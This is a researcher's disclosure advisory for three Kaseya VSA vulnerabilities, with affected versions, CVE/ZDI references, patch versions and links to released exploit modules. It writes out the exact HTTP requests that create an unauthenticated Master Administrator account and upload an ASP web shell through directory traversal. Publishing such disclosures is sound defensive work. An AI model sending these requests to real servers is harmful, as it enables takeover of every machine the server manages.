Kaseya Virtual System Administrator Code Execution / Privilege Escalation

`Hi,  
  
I have found 3 vulnerabilities in Kaseya's flagship product:  
- unauthenticated remote code execution (CVE-2015-6922 / ZDI-15-449)  
- unauthenticated remote privilege escalation (CVE-2015-6922 / ZDI-15-448)  
- authenticated remote code execution (CVE-2015-6589 / ZDI-15-450)  
  
Kaseya VSA is an IT management platform for small and medium corporates.  
From its console you can control thousands of computers and mobile  
devices. So that if you own the Kaseya server, you own the organisation.  
With this post I'm also releasing two Metasploit modules ([E1], [E2])  
and a Ruby file ([E3]) that exploit the vulnerabilities described below.  
  
A special thanks to ZDI for assisting with the disclosure of these  
vulnerabilities. The full advisory text is below, but can also be  
obtained from my repo at [E4].  
  
[E1] https://github.com/rapid7/metasploit-framework/pull/6018  
[E2] https://github.com/rapid7/metasploit-framework/pull/6019  
[E3] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb  
[E4]  
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt  
  
Regards,  
Pedro  
  
============  
  
>> Multiple vulnerabilities in Kaseya Virtual System Administrator  
>> Discovered by Pedro Ribeiro ([email protected]), Agile Information  
Security (http://www.agileinfosec.co.uk/)  
==========================================================================  
Disclosure: 23/09/2015 / Last updated: 28/09/2015  
  
>> Background on the affected product:  
"Kaseya VSA is an integrated IT Systems Management platform that can be  
leveraged seamlessly across IT disciplines to streamline and automate  
your IT services. Kaseya VSA integrates key management capabilities into  
a single platform. Kaseya VSA makes your IT staff more productive, your  
services more reliable, your systems more secure, and your value easier  
to show."  
  
A special thanks to ZDI for assisting with the vulnerability reporting  
process.  
These vulnerabilities were disclosed by ZDI under IDs ZDI-15-448 [1],  
ZDI-15-449 [2] and ZDI-15-450 [3] on 23/09/2015.  
  
  
>> Technical details:  
#1  
Vulnerability: Remote privilege escalation (add Master Administrator  
account - unauthenticated)  
CVE-2015-6922 / ZDI-15-448  
Affected versions:  
VSA Version 7.0.0.0 – 7.0.0.32  
VSA Version 8.0.0.0 – 8.0.0.22  
VSA Version 9.0.0.0 – 9.0.0.18  
VSA Version 9.1.0.0 – 9.1.0.8  
  
GET /LocalAuth/setAccount.aspx  
Page will attempt to redirect, ignore this and obtain the "sessionVal"  
value from the page which will be used in the following POST request.  
  
POST /LocalAuth/setAccount.aspx  
sessionVal=<sessionVal>&adminName=<username>&NewPassword=<password>&confirm=<password>&[email protected]&setAccount=Create  
  
You are now a Master Administrator and can execute code in all the  
managed desktops and mobile devices.  
A Metasploit module that exploits this vulnerability has been released.  
  
  
#2  
Vulnerability: Remote code execution via file upload with directory  
traversal (unauthenticated)  
CVE-2015-6922 / ZDI-15-449  
Affected versions:  
VSA Version 7.0.0.0 – 7.0.0.32  
VSA Version 8.0.0.0 – 8.0.0.22  
VSA Version 9.0.0.0 – 9.0.0.18  
VSA Version 9.1.0.0 – 9.1.0.8  
  
First we do:  
GET /ConfigTab/serverfiles.asp  
which will respond with a 302 redirect to /mainLogon.asp?logout=<sessionID>  
Thanks for creating a valid sessionID for us, Kaseya!  
  
POST  
/ConfigTab/uploader.aspx?PathData=C%3A%5CKaseya%5CWebPages%5C&qqfile=shell.asp  
Cookie: sessionId=<sessionID>  
<... ASP shell here...>  
  
The path needs to be correct, but Kaseya is helpful enough to let us  
know when a path doesn't exist.  
A Metasploit module that exploits this vulnerability has been released.  
  
  
#3  
Vulnerability: Remote code execution via file upload with directory  
traversal (authenticated)  
CVE-2015-6589 / ZDI-15-450  
Affected versions:  
VSA Version 7.0.0.0 – 7.0.0.32  
VSA Version 8.0.0.0 – 8.0.0.22  
VSA Version 9.0.0.0 – 9.0.0.18  
VSA Version 9.1.0.0 – 9.1.0.8  
  
Login to the VSA console and obtain ReferringWebWindowId from the URL  
(wwid parameter).  
Create a POST request as below with the ReferringWebWindowId:  
  
POST /vsapres/web20/json.ashx HTTP/1.1  
Content-Type: multipart/form-data;  
boundary=---------------------------114052411119142  
Content-Length: 1501  
  
-----------------------------114052411119142  
Content-Disposition: form-data; name="directory"  
  
../WebPages  
-----------------------------114052411119142  
Content-Disposition: form-data; name="ReferringWebWindowId"  
  
31a5d16a-01b7-4f8d-adca-0b2e70006dfa  
-----------------------------114052411119142  
Content-Disposition: form-data; name="request"  
  
uploadFile  
-----------------------------114052411119142  
Content-Disposition: form-data; name="impinf__uploadfilelocation";  
filename="shell.asp"  
Content-Type: application/octet-stream  
  
<... ASP shell here...>  
  
-----------------------------114052411119142--  
  
A Ruby exploit (kazPwn.rb) that abuses this vulnerability has also been  
been released [4].  
  
  
>> Fix:  
V7 – Install patch 7.0.0.33  
R8 – Install patch 8.0.0.23  
R9 – Install patch 9.0.0.19  
R9.1 – Install patch 9.1.0.9  
  
  
>> References:  
[1] http://zerodayinitiative.com/advisories/ZDI-15-448/  
[2] http://zerodayinitiative.com/advisories/ZDI-15-449/  
[3] http://zerodayinitiative.com/advisories/ZDI-15-450/  
[4] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/kazPwn.rb  
  
================  
Agile Information Security Limited  
http://www.agileinfosec.co.uk/  
>> Enabling secure digital business >>  
  
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